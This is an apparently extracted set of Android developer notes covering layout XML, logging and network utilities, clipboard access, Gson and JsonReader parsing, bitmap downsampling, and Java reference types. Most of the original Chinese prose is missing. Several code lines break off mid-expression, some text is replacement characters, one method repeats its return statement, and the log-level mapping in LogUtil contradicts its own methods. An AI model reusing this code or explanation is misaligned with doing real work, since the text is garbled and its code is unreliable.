channel5channel6idchannel6idchannel6channel7idchannel7channel6
channel6channel5
<!--	channel7	-->
<ImageButton
				android:id="@+id/ib_channel77"
				android:layout_width="wrap_content"
				android:layout_height="wrap_content"
				android:layout_alignParentBottom="true"
				android:layout_alignParentRight="true"
				android:layout_marginBottom="10dp"
				android:layout_marginRight="12dp"
				android:background="@drawable/channel7"	>
</ImageButton>
<!--	channel6	-->
<ImageButton
				android:id="@+id/ib_channel6"
				android:layout_width="wrap_content"
				android:layout_height="wrap_content"
				android:layout_above="@id/ib_channel77"
				android:layout_alignParentRight="true"
				android:layout_marginBottom="20dp"
				android:layout_marginRight="35dp"
				android:background="@drawable/channel6"	>
</ImageButton>
<!--	channel5	-->
<ImageButton
				android:layout_width="wrap_content"



				android:layout_height="wrap_content"
				android:layout_above="@id/ib_channel6"
				android:layout_marginBottom="20dp"
				android:layout_marginRight="10dp"
				android:layout_toLeftOf="@id/ib_channel6"
				android:background="@drawable/channel5"	>
</ImageButton>
2 xmlxmlIDchannel5channel6IDXML
valuesmyids.xmlid
<?xml	version="1.0"	encoding="utf-8"?>
<resources>
				<!--	IDC++	-->
				<item	name="ib_channel6"	type="id"></item>
				<item	name="ib_channel7"	type="id"></item>
</resources>		
id



Android	Design

1
2
3
①
②→
③
④
⑤
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①(MDPI<Medium	Desity	160dpi>)
②



48dp

UI48dp
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Android2.3
Android3.x
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②
③



android

Google	Groups
http://developer.android.com/resources/community-
groups.html#ApplicationDeveloperLists
Stack	OverFlow



AndroidManifest.xml

1	 android:installLocation="auto"
auto
preferExternalsd
internalOnly

2



package	cn.zengfansheng.lottery.util;
import	android.util.Log;
/**
	*	3
	*	
	*	@author	hacket
	*/
public	class	LogUtil	{
				private	LogUtil(){}
				/**
					*	1	 ①6
					*	②2we
					*/
				private	static	int	LOG_LEVEL	=	0;
				
				/*****************	1error	*****************/
				/**
					*	error
					*	
					*	@param	tag
					*												tag
					*	@param	msg
					*												
					*/
				public	static	void	e(String	tag,String	msg){
								if	(LOG_LEVEL	<=	1)
												Log.e(tag,	msg);
				}
				public	static	void	e(String	tag,String	msg,Throwable	tr){
								if	(LOG_LEVEL	<=	1)
												Log.e(tag,	msg,	tr);
				}
				/*****************	2warm	*****************/
				public	static	void	w(String	tag,String	msg){
								if	(LOG_LEVEL	<=	2)
												Log.w(tag,	msg);
				}
				public	static	void	w(String	tag,String	msg,Throwable	tr){
								if	(LOG_LEVEL	<=	2)
												Log.w(tag,	msg,	tr);
				}
				



				/*****************	3info	*****************/
				public	static	void	i(String	tag,String	msg){
								if	(LOG_LEVEL	<=	3)
												Log.i(tag,	msg);
				}
				public	static	void	i(String	tag,String	msg,Throwable	tr){
								if	(LOG_LEVEL	<=	3)
												Log.i(tag,	msg,	tr);
				}
				
				/*****************	4debug	*****************/
				public	static	void	d(String	tag,String	msg){
								if	(LOG_LEVEL	<=	4)
												Log.d(tag,	msg);
				}
				public	static	void	d(String	tag,String	msg,Throwable	tr){
								if	(LOG_LEVEL	<=	4)
												Log.d(tag,	msg,	tr);
				}
				
				/*****************	5verbose	*****************/
				public	static	void	v(String	tag,String	msg){
								if	(LOG_LEVEL	<=	5)
												Log.v(tag,	msg);
				}
				public	static	void	v(String	tag,String	msg,Throwable	tr){
								if	(LOG_LEVEL	<=	5)
												Log.v(tag,	msg,	tr);
				}
				/*****************	6	*****************/
				/**
					*	
					*	
					*	@param	logLevel
					*/
				public	static	void	changeLogLevel(LogLevel	logLevel)	{
								switch	(logLevel)	{
								case	VERBOSE:
												LOG_LEVEL	=	5;
												break;
								case	DEBUG:
												LOG_LEVEL	=	4;



												break;
								case	ERROR:
												LOG_LEVEL	=	3;
												break;
								case	INFO:
												LOG_LEVEL	=	2;
												break;
								case	WARN:
												LOG_LEVEL	=	1;
												break;
								case	NOLOG:
												LOG_LEVEL	=	6;
												break;
								default:
												LOG_LEVEL	=	0;
												break;
								}
				}
				
				/*****************	7		*****************/
				/**
					*	
					*	
					*	@author	hacket
					*/
				public	enum	LogLevel{
								VERBOSE,	DEBUG,	INFO,	WARN,	ERROR,	NOLOG
				}
}



package	cn.zengfansheng.lottery.util;
import	org.apache.commons.lang3.StringUtils;
import	android.content.ContentResolver;
import	android.content.Context;
import	android.database.Cursor;
import	android.net.ConnectivityManager;
import	android.net.NetworkInfo;
import	android.net.Uri;
import	cn.zengfansheng.lottery.GlobalParams;
/**
	*	
	*	
	*	@author	hacket
	*/
public	class	NetUtil	{
				/**************************
					*	1 wifi**************************	/**	1 wifi
					*	
					*	@return	true wififalse wifi
					*/
				public	static	boolean	isWifiConnected(Context	context)	{
									
								//	ACCESS_NETWORK_STATE
								ConnectivityManager	manager	=	(ConnectivityManager)	context.getSystemService(Context.
								NetworkInfo	networkInfo	=	manager.getNetworkInfo(ConnectivityManager.TYPE_WIFI
								if	(networkInfo	==	null)	{
												return	false;
								}
								return	networkInfo.isConnected();
				}
				/**************************
					*	2 wapnet**************************	/	2
					*	
					*	@return	truefalse
					*/
				public	static	boolean	isMobileConnected(Context	context)	{
								
								ConnectivityManager	manager	=	(ConnectivityManager)	context.getSystemService(Context.
								NetworkInfo	networkInfo	=	manager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE
								if	(networkInfo==null)	{
												return	false;
								}
								return	networkInfo.isConnected();



								return	networkInfo.isConnected();
				}
				/**************************
					*	2 apn**************************	3 apn
					*	
					*	@param	context
					*/
				public	static	void	setApn(Context	context)	{
								//s_urlMatcher.addURI("telephony",	"carriers/preferapn",	URL_PREFERAPN);
								ContentResolver	resolver	=	context.getContentResolver();
								Uri	uri	=	Uri.parse("content://telephony/carriers/preferapn");
								Cursor	cursor	=	resolver.query(uri,	null,	null,	null,	null);
								//	cursor[_id,	name,	numeric,	 mcc,	mnc,	apn,	user,	server,
								//	password,	proxy,	port,	mmsproxy,	mmsport,	mmsc,	authtype,	type,
								//	current,	protocol,	roaming_protocol,	carrier_enabled,	bearer]
								if	(cursor	!=	null	&&	cursor.getCount()	==	1)	{//	 apn
												if	(cursor.moveToNext())	{
																//	 ip
																GlobalParams.PROXY_IP	=	cursor.getString(cursor.getColumnIndex("proxy"));
																//	
																GlobalParams.PROXY_PORT	=	cursor.getString(cursor.getColumnIndex("port"));
												}
								}
								cursor.close();//	
				}
				
				/**************************
					*	4( wifi)**************************	/**	4
					*	
					*	@param	context
					*	@return
					*/
				public	static	boolean	checkNetwork(Context	context){
								
								//	1 wifi
								if	(isWifiConnected(context))	{
												return	true;
								}
								//	2 apn
								if	(isMobileConnected(context))	{
												setApn(context);
												return	true;
								}
								



								
								//	3
								return	false;
				}
				
				/************	5 wapnet wifi	************/
				/**
					*	5 wapnet
					*	@return	nullwifi wap,net
					*/
				public	static	String	isWap(Context	context)	{
								boolean	mobileConnected	=	isMobileConnected(context);
								if	(!mobileConnected)	{
												return	null;
								}
								ContentResolver	resolver	=	context.getContentResolver();
								Uri	uri	=	Uri.parse("content://telephony/carriers/preferapn");
								Cursor	cursor	=	resolver.query(uri,	null,	null,	null,	null);
								if	(cursor	!=	null	&&	cursor.getCount()	==	1)	{//	 apn
												if	(cursor.moveToNext())	{
																//	 ip
																String	proxy_ip	=	cursor.getString(cursor.getColumnIndex("proxy"));
																//	
																String	proxy_port	=	cursor.getString(cursor.getColumnIndex("port"));
																if	(!StringUtils.isBlank(proxy_ip)	&&	!StringUtils.isBlank(proxy_port))	{
																				return	"wap";
																}
												}
								}
								cursor.close();
								return	"net";
				}
}



DateString

SimpleDateFormat
1DateStringDate
2DateDateString
**
	*	
	*	@author	zeng__000
	*
	*/
public	class	DateStringUtil	{
	
				/**
					*	DateString
					*	@param	date	Date
					*	@param	pattern	DateString
					*	@return
					*/
				public	static	String	dateToString(Date	date,String...pattern){
								String	patn	=	null;
								if	(pattern==null	||	pattern.length==0)	{
												patn	=	"yyyy-MM-dd";
								}else	{
												patn	=	pattern[0];
								}
								SimpleDateFormat	sdf	=	new	SimpleDateFormat(patn);
								return	sdf.format(date);
				}
				
				/**
					*	StringDate
					*	@param	str	String
					*	@param	pattern	Date
					*	@return
					*/
				public	static	Date	strToDate(String	str,String...pattern){
								try	{



												String	patn	=	null;
												if	(pattern==null	||	pattern.length==0)	{
																patn	=	"yyyy-MM-dd";
												}else	{
																patn	=	pattern[0];
												}
												SimpleDateFormat	sdf	=	new	SimpleDateFormat(patn);
												return	sdf.parse(str);
								}	catch	(ParseException	e)	{
												e.printStackTrace();
								}
								return	null;
				}
}



ClipboardManager
Android



android	

AndroidClipboardManager
	

API	11	android.text.ClipboardManager
API	11	android.content.ClipboardManager

/**
@param	content
**/
	public	void	setClipBoard(String	content)	{
		int	currentapiVersion	=	android.os.Build.VERSION.SDK_INT;
		if	(currentapiVersion	>=	android.os.Build.VERSION_CODES.HONEYCOMB)	{
				android.content.ClipboardManager	clipboard	=	(android.content.ClipboardManager)
getSystemService(CLIPBOARD_SERVICE);
			ClipData	clip	=	ClipData.newPlainText("label",	content);
			clipboard.setPrimaryClip(clip);
		}	else	{
			android.text.ClipboardManager	clipboard	=	(android.text.ClipboardManager)
getSystemService(CLIPBOARD_SERVICE);
			clipboard.setText(content);
		}
	}
	
/**
*	
*	
*	@param	context
*	@return
*/
public	static	String	paste(Context	context)	{
		int	currentapiVersion	=	android.os.Build.VERSION.SDK_INT;
		if	(currentapiVersion	>=	android.os.Build.VERSION_CODES.HONEYCOMB)	{
			android.content.ClipboardManager	clipboard	=(android.content.ClipboardManager)
context.getSystemService(Context.CLIPBOARD_SERVICE);
			return	clipboard.getText().toString().trim();
		}	else	{
			android.text.ClipboardManager	clipboard	=	(android.text.ClipboardManager)
context.getSystemService(Context.CLIPBOARD_SERVICE);
												return	clipboard.getText().toString().trim();
		}



}



JSON

JSON(JavaScripe	Object	Notation)

JSON
1/

	
2

	



Google-Gson

GsonJar

	

	

	
Gson

1Gson
Gson	gson	=	new	Gson();	//	Or	use	new	GsonBuilder().create();

2GsonBuilder
Gson	gson	=	new	GsonBuilder()
					.registerTypeAdapter(Id.class,	new	IdTypeAdapter())
					.enableComplexMapKeySerialization()
					.serializeNulls()
					.setDateFormat(DateFormat.LONG)
					.setFieldNamingPolicy(FieldNamingPolicy.UPPER_CAMEL_CASE)
					.setPrettyPrinting()
					.setVersion(1.0)
					.create();

3
Gson	gson	=	new	Gson();	//	Or	use	new	GsonBuilder().create();
MyType	target	=	new	MyType();
String	json	=	gson.toJson(target);	//	serializes	target	to	Json
MyType	target2	=	gson.fromJson(json,	MyType.class);	//	deserializes	json	into	target2

4
Type	listType	=	new	TypeToken<List<String>>()	{}.getType();
List<String>	target	=	new	LinkedList<String>();
target.add("blah");

wiz://open_attachment?guid=94e4076b-c4ba-48c1-957c-6d1a919c2f44
wiz://open_attachment?guid=3a1973ba-f14a-4b44-976f-575d383a8bcd
wiz://open_attachment?guid=5a92e5c1-e7f8-4187-bd16-6c06fc264226


	
Gson	gson	=	new	Gson();
String	json	=	gson.toJson(target,	listType);
List<String>	target2	=	gson.fromJson(json,	listType);

GsonJavaJSON
JavaBean
List<JavaBean> 	
:List<String> 	
:List<Map<String,Object>>
Gsonjson
public	static	String	toJson(Object	obj){
				Gson	gson	=	new	Gson();
				String	json	=	gson.toJson(obj);
				return	json;
}		
Gson
1JavaBeanGsonjsonJavaBean
//javabeanjson
Person	person	=	new	Person("" ,"" ,1001);
String	jsonString	=	gson.toJson(person);
//jsonjavabean,
Gson	gson	=	new	Gson();
person	=	gson.fromJson(jsonString,Person.class);		

2List<JavaBean>jsonList<JavaBean>
Person	person1	=	new	Person("" ,"" ,1001);
Person	person2	=	new	Person("" ,"" ,1002);
List<Person>	persons	=	new	ArrayList<Person>();
persons.add(person1);
persons.add(person2);
//lsit<javabean>json
String	jsonString	=	gson.toJson(persons);
//json
Gson	gson	=	new	Gson();
List<Person>	persons2	=	gson.fromJson(jsonString,	new	TypeToken<List<Person



3List<String>jsonList<String>
List<String>	list	=	new	ArrayList<String>();
list.add("gson1");
list.add("gson2");
list.add("gson3");
String	jsonString	=	gson.toJson(list);
//json
Gson	gson	=	new	Gson();
List<String>	list2	=	gson.fromJson(jsonString,	new	TypeToken<List<String>>(){}.
		
4List<Map<String,Object>>jsonList<Map<String,Object>>
Map<String,Object>	map	=	new	HashMap<String,Object>();
map.put("key1",	"value1");
map.put("key2",	"value2");
Map<String,Object>	map2	=	new	HashMap<String,Object>();
map2.put("key1",	1);
map2.put("key2",	2);
List<Map<String,Object>>	list	=	new	ArrayList<Map<String,Object>>();
list.add(map);
list.add(map2);
Gson	gson	=		new	Gson();
String	jsonString	=	gson.toJson(list);

//json	 	
List<Map<String,Object>>	list2	=	gson.fromJson(jsonString,	new	TypeToken<List
(){}.getType());		

wiz://open_attachment?guid=94e4076b-c4ba-48c1-957c-6d1a919c2f44


json——json

json
package	cn.zengfansheng.jsondemo.utils;
	
import	java.io.IOException;
import	java.io.InputStream;
import	java.io.InputStreamReader;
import	java.util.ArrayList;
import	java.util.List;
	
import	android.annotation.SuppressLint;
import	android.util.JsonReader;
import	cn.zengfansheng.jsondemo.domain.Product;
	
/**
*	json
*	@author	hacket
*
*/
@SuppressLint("NewApi")
public	class	ParseJson	{
	
				/**
					*	json
					*	@param	in
					*	@return
					*	@throws	IOException
					*/
				public	static	List<Product>	readJsonStream(InputStream	in)	throws	IOException	{
	
								JsonReader	reader	=	new	JsonReader(new	InputStreamReader(in,	"UTF-8"));
								try	{
												return	readProductsArray(reader);
								}	finally	{
										reader.close();
								}
	
						}
	
				/**



					*	jsonjsonList
					*	@param	reader
					*	@return
					*	@throws	IOException
					*/
				private	static	List<Product>	readProductsArray(JsonReader	reader)	throws
IOException	{
	
								List<Product>	products	=	new	ArrayList<Product>();
	
								reader.beginArray();
								while	(reader.hasNext())	{
												products.add(readProduct(reader));
								}
								reader.endArray();
								return	products;
						}
	
				/**
					*	jsonbean
					*	@param	reader
					*	@return
					*	@throws	IOException
					*/
				private	static	Product	readProduct(JsonReader	reader)	throws	IOException	{
								Integer	id	=	-1;
								Integer	marketPrice	=	-1;
								String	name	=	"";
								Integer	activitiesPrice	=	-1;
								String	pictureUrl	=	"";
	
								reader.beginObject();
								while	(reader.hasNext())	{
										String	jsonName	=	reader.nextName();
										if	(jsonName.equals("id"))	{
														id	=	reader.nextInt();
										}	else	if	(jsonName.equals("market_price"))	{
														marketPrice	=	reader.nextInt();
										}	else	if	(jsonName.equals("activities_price"))	{
														activitiesPrice	=	reader.nextInt();
										}	else	if	(jsonName.equals("name"))	{
														name	=	reader.nextString();



										}	else	{
												reader.skipValue();
										}
								}
								reader.endObject();
								return	new	Product(id,	name,	marketPrice,	activitiesPrice,	pictureUrl);
						}
}
JSON
[
				{
								"id":	10001,
								"market_price":	659,
								"name":	"Nike/	",
								"activities_price":	399,
								"pic_url":	"http://192.168.0.102:8080/ServerDemo/images/p_1.jpg"
				},
				{
								"id":	10002,
								"market_price":	759,
								"name":	"Nike/	",
								"activities_price":	459,
								"pic_url":	"http://192.168.0.102:8080/ServerDemo/images/p_2.jpg"
				},
				{
								"id":	10003,
								"market_price":	619,
								"name":	"Nike/		",
								"activities_price":	379,
								"pic_url":	"http://192.168.0.102:8080/ServerDemo/images/p_3.jpg"
				},
				{
								"id":	10004,
								"market_price":	719,
								"name":	"Nike/	LUNARLON",
								"activities_price":	419,
								"pic_url":	"http://192.168.0.102:8080/ServerDemo/images/p_4.jpg"
				},
				{
								"id":	10005,
								"market_price":	669,
								"name":	"Nike/	LUNAR	FOREVER	GG",



								"activities_price":	349,
								"pic_url":	"http://192.168.0.102:8080/ServerDemo/images/p_5.jpg"
				},
				{
								"id":	10006,
								"market_price":	759,
								"name":	"BELLE/2013B3355D",
								"activities_price":	599,
								"pic_url":	"http://192.168.0.102:8080/ServerDemo/images/p_6.jpg"
				},
				{
								"id":	10007,
								"market_price":	569,
								"name":	"TEENMIX/201336801D",
								"activities_price":	359,
								"pic_url":	"http://192.168.0.102:8080/ServerDemo/images/p_7.jpg"
				},
				{
								"id":	10008,
								"market_price":	669,
								"name":	"TATA/2013D9983D",
								"activities_price":	399,
								"pic_url":	"http://192.168.0.102:8080/ServerDemo/images/p_8.jpg"
				},
				{
								"id":	10009,
								"market_price":	859,
								"name":	"SENDA/20132NP82D",
								"activities_price":	599,
								"pic_url":	"http://192.168.0.102:8080/ServerDemo/images/p_9.jpg"
				},
				{
								"id":	100010,
								"market_price":	999,
								"name":	"TATA/201316-07D",
								"activities_price":	669,
								"pic_url":	"http://192.168.0.102:8080/ServerDemo/images/p_10.jpg"
				}
]
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1convertView
2ViewHolder
private	static	class	ViewHolder	{
				private	TextView	tv;
				private	ImageView	iv;
}
......
View	view	=	null;
ViewHolder	viewHolder	=	null;
if	(convertView	!=	null	&&	convertView	instanceof	LinearLayout)	{
				System.out.println("convertView:" 	+	position);
				view	=	convertView;
				viewHolder	=	(ViewHolder)	view.getTag();
}else	{
				System.out.println("View:" 	+	position);
				view	=	View.inflate(getApplicationContext(),	R.layout.bitmap_list,	null);
				
				viewHolder	=	new	ViewHolder();
				
				viewHolder.tv	=	(TextView)	view.findViewById(R.id.tv);
				viewHolder.iv	=	(ImageView)	view.findViewById(R.id.iv);
				
				view.setTag(viewHolder);
}
3
//	TODO	1:
//	SoftReference<ImageView>	softReferenceBitmap	=	new	SoftReference<ImageView>(iv);
WeakReference<Bitmap>	softReferenceBitmap	=	new	WeakReference<Bitmap>(bitmap);
bitmap.recycle();	
bitmap	=	null;
......



WeakReference<Bitmap>	softReferenceBitmap	=	softReferenceImages.get(position);
Bitmap	refBitmap	=	softReferenceBitmap.get();
if	(refBitmap	==	null)	{
				//	System.gc();
				System.out.println("GC" 	+	position);
				refBitmap	=	scaleBitmap(imagesIds[position]);
}
4
/**
	*	//TODO	2
	*	@param	resId	id
	*	@return	bitmap
	*/
@SuppressLint("NewApi")
//	api13
private	Bitmap	scaleBitmap(int	resId)	{
				Options	opts	=	new	Options();
				opts.inJustDecodeBounds	=	true;//	
				BitmapFactory.decodeResource(getResources(),	resId,	opts);
				int	outWidth	=	opts.outWidth;
				int	outHeight	=	opts.outHeight;
				System.out.println("" 	+	outWidth);
				System.out.println("" 	+	outHeight);
				//	
				Display	display	=	wm.getDefaultDisplay();
				Point	screenSize	=	new	Point();
				display.getSize(screenSize);
				int	window_width	=	screenSize.x;
				int	window_height	=	screenSize.y;
				System.out.println("" 	+	window_width);
				System.out.println("" 	+	window_height);
				int	scale	=	1;
				int	scaleX	=	outWidth	/	window_width;
				int	scaleY	=	outHeight	/	window_height;
				if	(scaleX	<	scaleY)	{//	
								scale	=	scaleY;
				}	else	if	(scaleX	>=	scaleY)	{
								scale	=	scaleX;
				}
				opts.inSampleSize	=	scale;//	,0xy1/scale,0
				System.out.println("" 	+	scale);
				opts.inJustDecodeBounds	=	false;//	



				return	BitmapFactory.decodeResource(getResources(),	resId,	opts);
}

package	cn.zengfansheng.softreferencetest;
import	java.lang.ref.WeakReference;
import	java.util.ArrayList;
import	android.annotation.SuppressLint;
import	android.app.Activity;
import	android.content.Context;
import	android.graphics.Bitmap;
import	android.graphics.BitmapFactory;
import	android.graphics.BitmapFactory.Options;
import	android.graphics.Point;
import	android.os.Bundle;
import	android.view.Display;
import	android.view.View;
import	android.view.ViewGroup;
import	android.view.WindowManager;
import	android.widget.BaseAdapter;
import	android.widget.ImageView;
import	android.widget.LinearLayout;
import	android.widget.ListView;
import	android.widget.TextView;
public	class	MainActivity	extends	Activity	{
				private	ListView	lv;
				private	int[]	imagesIds;
				
				//	private	ArrayList<SoftReference<ImageView>>	softReferenceImages;
				private	ArrayList<WeakReference<Bitmap>>	softReferenceImages;
				
				private	WindowManager	wm;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								wm	=	(WindowManager)	this.getSystemService(Context.WINDOW_SERVICE);
								initData();
								lv	=	(ListView)	this.findViewById(R.id.lv);
								MyAdapter	adapter	=	new	MyAdapter();
								lv.setAdapter(adapter);
								//	VMRuntime
				}



				@SuppressLint("NewApi")
				public	void	initData()	{
								imagesIds	=	LoadRes.loadResId();
								//	softReferenceImages	=	new	ArrayList<SoftReference<ImageView>>();
								softReferenceImages	=	new	ArrayList<WeakReference<Bitmap>>();
								for	(int	i	:	imagesIds)	{
												
												Bitmap	bitmap	=	scaleBitmap(i);
												//	TODO	1:
												//	SoftReference<ImageView>	softReferenceBitmap	=	new	SoftReference<ImageView>
(iv);
												WeakReference<Bitmap>	softReferenceBitmap	=	new	WeakReference<Bitmap>
(bitmap);
												bitmap.recycle();	
												bitmap	=	null;
												System.gc();
												softReferenceImages.add(softReferenceBitmap);
								}
				}
				/**
					*	//TODO	2
					*	@param	resId	id
					*	@return	bitmap
					*/
				@SuppressLint("NewApi")
				//	api13
				private	Bitmap	scaleBitmap(int	resId)	{
								Options	opts	=	new	Options();
								opts.inJustDecodeBounds	=	true;//	
								BitmapFactory.decodeResource(getResources(),	resId,	opts);
								int	outWidth	=	opts.outWidth;
								int	outHeight	=	opts.outHeight;
								System.out.println("" 	+	outWidth);
								System.out.println("" 	+	outHeight);
								//	
								Display	display	=	wm.getDefaultDisplay();
								Point	screenSize	=	new	Point();
								display.getSize(screenSize);
								int	window_width	=	screenSize.x;
								int	window_height	=	screenSize.y;
								System.out.println("" 	+	window_width);
								System.out.println("" 	+	window_height);



								int	scale	=	1;
								int	scaleX	=	outWidth	/	window_width;
								int	scaleY	=	outHeight	/	window_height;
								if	(scaleX	<	scaleY)	{//	
												scale	=	scaleY;
								}	else	if	(scaleX	>=	scaleY)	{
												scale	=	scaleX;
								}
								opts.inSampleSize	=	scale;//	,0xy1/scale,0
								System.out.println("" 	+	scale);
								opts.inJustDecodeBounds	=	false;//	
								return	BitmapFactory.decodeResource(getResources(),	resId,	opts);
				}
				//	TODO	3:	ViewHolder,findViewByid()	id
				private	static	class	ViewHolder	{
								private	TextView	tv;
								private	ImageView	iv;
				}
				//	TODO	
				private	class	MyAdapter	extends	BaseAdapter	{
								@Override
								public	int	getCount()	{
												return	softReferenceImages.size();
								}
								@Override
								public	Object	getItem(int	position)	{
												return	null;
								}
								@Override
								public	long	getItemId(int	position)	{
												return	0;
								}
								@Override
								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
												
												//	TODO	4convertView
												View	view	=	null;
												ViewHolder	viewHolder	=	null;
												if	(convertView	!=	null	&&	convertView	instanceof	LinearLayout)	{
																System.out.println("convertView:" 	+	position);
																view	=	convertView;
																viewHolder	=	(ViewHolder)	view.getTag();



												}else	{
																System.out.println("View:" 	+	position);
																view	=	View.inflate(getApplicationContext(),	R.layout.bitmap_list,	null);
																
																viewHolder	=	new	ViewHolder();
																
																viewHolder.tv	=	(TextView)	view.findViewById(R.id.tv);
																viewHolder.iv	=	(ImageView)	view.findViewById(R.id.iv);
																
																view.setTag(viewHolder);
												}
												
												//SoftReference<ImageView>	softReferenceBitmap	=	softReferenceImages.get(position);
												WeakReference<Bitmap>	softReferenceBitmap	=	softReferenceImages.get(position);
												Bitmap	refBitmap	=	softReferenceBitmap.get();
												if	(refBitmap	==	null)	{
																//	System.gc();
																System.out.println("GC" 	+	position);
																refBitmap	=	scaleBitmap(imagesIds[position]);
												}
												viewHolder.tv.setText("1000" 	+	Math.random()	*	100);
												viewHolder.iv.setImageBitmap(refBitmap);
												return	view;
								}
				}
}
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1 BitmapFactory.Options	options	=	

ctory.Options();

2 options.inJustDecodeBounds	=	

3 BitmapFactory.decodeResource(getResources(),

R.id.myimage,	options);

4 int	imageHeight	=	options.outHeight;

5 int	imageWidth	=	options.outWidth;

6 String	imageType	=	options.outMimeType;
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01 public	static	int	calculateInSampleSize(

02 												BitmapFactory.Options	options,	

nt	reqWidth,	int	reqHeight)	{

03 				//	Raw	height	and	width	of	image

04 				final	int	height	=	options.outHeight;

05 				final	int	width	=	options.outWidth;

06 				int	inSampleSize	=	

07 	

08 				if	(height	>	reqHeight	||	width	>	reqWid

th)	{



								�����2������inSampleSize

���������������������������������������

��������������

								�������������inJustDecodeBounds

options��������inSampleSize��������

inJustDecodeBounds����false

09 								if	(width	>	height)	{

10 												inSampleSize	=	Math.round((

)height	/	(float)reqHeight);

11 								}	else	{

12 												inSampleSize	=	Math.round((

)width	/	(float)reqWidth);

13 								}

14 				}

15 				return	inSampleSize;

16 }

01 public	static	Bitmap	decodeSampledBitmapFrom

Resource(Resources	res,	

02 								int	reqWidth,	int

03 	

04 				//	First	decode	with	inJustDecodeBounds=

true	to	check	dimensions

05 				final	BitmapFactory.Options	options	=	

w	BitmapFactory.Options();

06 				options.inJustDecodeBounds	=	

07 				BitmapFactory.decodeResource(res,	resId,

options);

08 	
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09 				//	Calculate	inSampleSize

10 				options.inSampleSize	=	calculateInSample

Size(options,	reqWidth,	reqHeight);

11 	

12 				//	Decode	bitmap	with	inSampleSize	set

13 				options.inJustDecodeBounds	=	

14 				return	BitmapFactory.decodeResource(res,

resId,	options);

15 }

1 mImageView.setImageBitmap(

2 				decodeSampledBitmapFromResource(getResou

rces(),	R.id.myimage,	100
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/*
*	
*/
public	static	Bitmap	readBitMap(Context	context,	int	resId)	{
BitmapFactory.Options	opt	=	new	BitmapFactory.Options();
opt.inPreferredConfig	=	Bitmap.Config.RGB_565;
opt.inPurgeable	=	true;
opt.inInputShareable	=	true;
//	
InputStream	is	=	context.getResources().openRawResource(resId);
return	BitmapFactory.decodeStream(is,	null,	opt);
}

3 RyanHoo		2012-11-10	10:10	
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/*
*	
*/
public	static	Bitmap	readBitMap(Context	context,	int	resId)	{
BitmapFactory.Options	opt	=	new	BitmapFactory.Options();
opt.inPreferredConfig	=	Bitmap.Config.RGB_565;
opt.inPurgeable	=	true;
opt.inInputShareable	=	true;
//	
InputStream	is	=	context.getResources().openRawResource(resId);
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return	BitmapFactory.decodeStream(is,	null,	opt);
}

Bitmap

4 (Android)		2012-11-10	10:30	

“RyanHoo”
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/*
*	
*/
public	static	Bitmap	readBitMap(Context	context,	int	resId)	{
BitmapFactory.Options	opt	=	new	BitmapFactory.Options();
opt.inPreferredConfig	=	Bitmap.Config.RGB_565;
opt.inPurgeable	=	true;
opt.inInputShareable	=	true;
//	
InputStream	is	=	context.getResources().openRawResource(resId);
return	BitmapFactory.decodeStream(is,	null,	opt);
}
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*/
public	static	Bitmap	readBitMap(Context	context,	int	resId)	{
BitmapFactory.Options	opt	=	new	BitmapFactory.Options();
opt.inPreferredConfig	=	Bitmap.Config.RGB_565;
opt.inPurgeable	=	true;
opt.inInputShareable	=	true;
//	
InputStream	is	=	context.getResources().openRawResource(resId);
return	BitmapFactory.decodeStream(is,	null,	opt);
}
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6 RyanHoo		2012-11-10	11:16	
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/*
*	
*/
public	static	Bitmap	readBitMap(Context	context,	int	resId)	{
BitmapFactory.Options	opt	=	new	BitmapFactory.Options();
opt.inPreferredConfig	=	Bitmap.Config.RGB_565;
opt.inPurgeable	=	true;
opt.inInputShareable	=	true;
//	
InputStream	is	=	context.getResources().openRawResource(resId);
return	BitmapFactory.decodeStream(is,	null,	opt);
}

IDAPK
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			1(SoftReference)(PhantomRefrence)(WeakReference),heapjavagc
				1.1
Object	o=new	Object();						
Object	o1=o;		
					heapObjectooo1new	Object()heap.heapgc.
o=null;						
o1=null
						heap:
String	abc=new	String("abc");		//1						
SoftReference<String>	abcSoftRef=new	SoftReference<String>(abc);		//2						
WeakReference<String>	abcWeakRef	=	new	WeakReference<String>(abc);	//3				
	
abc=null;	//4						
abcSoftRef.clear();//5			

				heap“abc”abc,heapheapheap
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								1.2:
															jvmgcgcgcgc,abcSoftRef

				1	abcSoftRefreferentnullheapnew	String("abc")
				2	heapnew	String("abc")(finalizable)
				3	heapnew	String("abc")finalize()	abcSoftRefReferenceQueue
			:ReferenceQueue
Reference(T	paramT,	ReferenceQueue<?	super	T>paramReferenceQueue)	
										Soft	Reference		Direct	Reference	JVM			Direct
Reference	SoftReference		object-cache		SoftReference	
cache		OutOfMemoryError	Soft	Reference		pooling		
A	obj	=	new	A();			
Refenrence	sr	=	new	SoftReference(obj);			
		
//			
if(sr!=null){			
				obj	=	sr.get();			
}else{			
				obj	=	new	A();			
				sr	=	new	SoftReference(obj);			
}			
				1.3:
																gcabcWeakRefgc
String	abc=new	String("abc");						
WeakReference<String>	abcWeakRef	=	new	WeakReference<String>(abc);						
abc=null;						
System.out.println("before	gc:	"+abcWeakRef.get());						
System.gc();						
System.out.println("after	gc:	"+abcWeakRef.get());			
:			
before	gc:	abc			
after	gc:	null		
					gcgc	Weak	Reference		reference		



A	obj	=	new	A();			
		
				WeakReference	wr	=	new	WeakReference(obj);			
		
				obj	=	null;			
		
				//obj		
...			
		
if	(wr.get()==null)	{			
System.out.println("obj		");			
}	else	{			
System.out.println("obj		"+obj.toString());		
}		
...		
}		

					get()		Reference		null		Optimizer	
Debugger		

					1.4:

					getnull,,referent,getnull.gc.
						1.4.1	referentnull,	heapnew	String("abc")(finalizable).
						1.4.2	,	PhantomRefrenceReferenceQueue..
			heapnew	String("abc"),..

import	java.lang.ref.PhantomReference;						
import	java.lang.ref.Reference;						
import	java.lang.ref.ReferenceQueue;						
import	java.lang.reflect.Field;						
					



public	class	Test	{						
				public	static	boolean	isRun	=	true;						
					
				public	static	void	main(String[]	args)	throws	Exception	{						
								String	abc	=	new	String("abc");						
								System.out.println(abc.getClass()	+	"@"	+	abc.hashCode());						
								final	ReferenceQueue	referenceQueue	=	new	ReferenceQueue<String>();				
	
								new	Thread()	{						
												public	void	run()	{						
																while	(isRun)	{						
																				Object	o	=	referenceQueue.poll();						
																				if	(o	!=	null)	{						
																								try	{						
																												Field	rereferent	=	Reference.class					
																																				.getDeclaredField("referent");						
																												rereferent.setAccessible(true);						
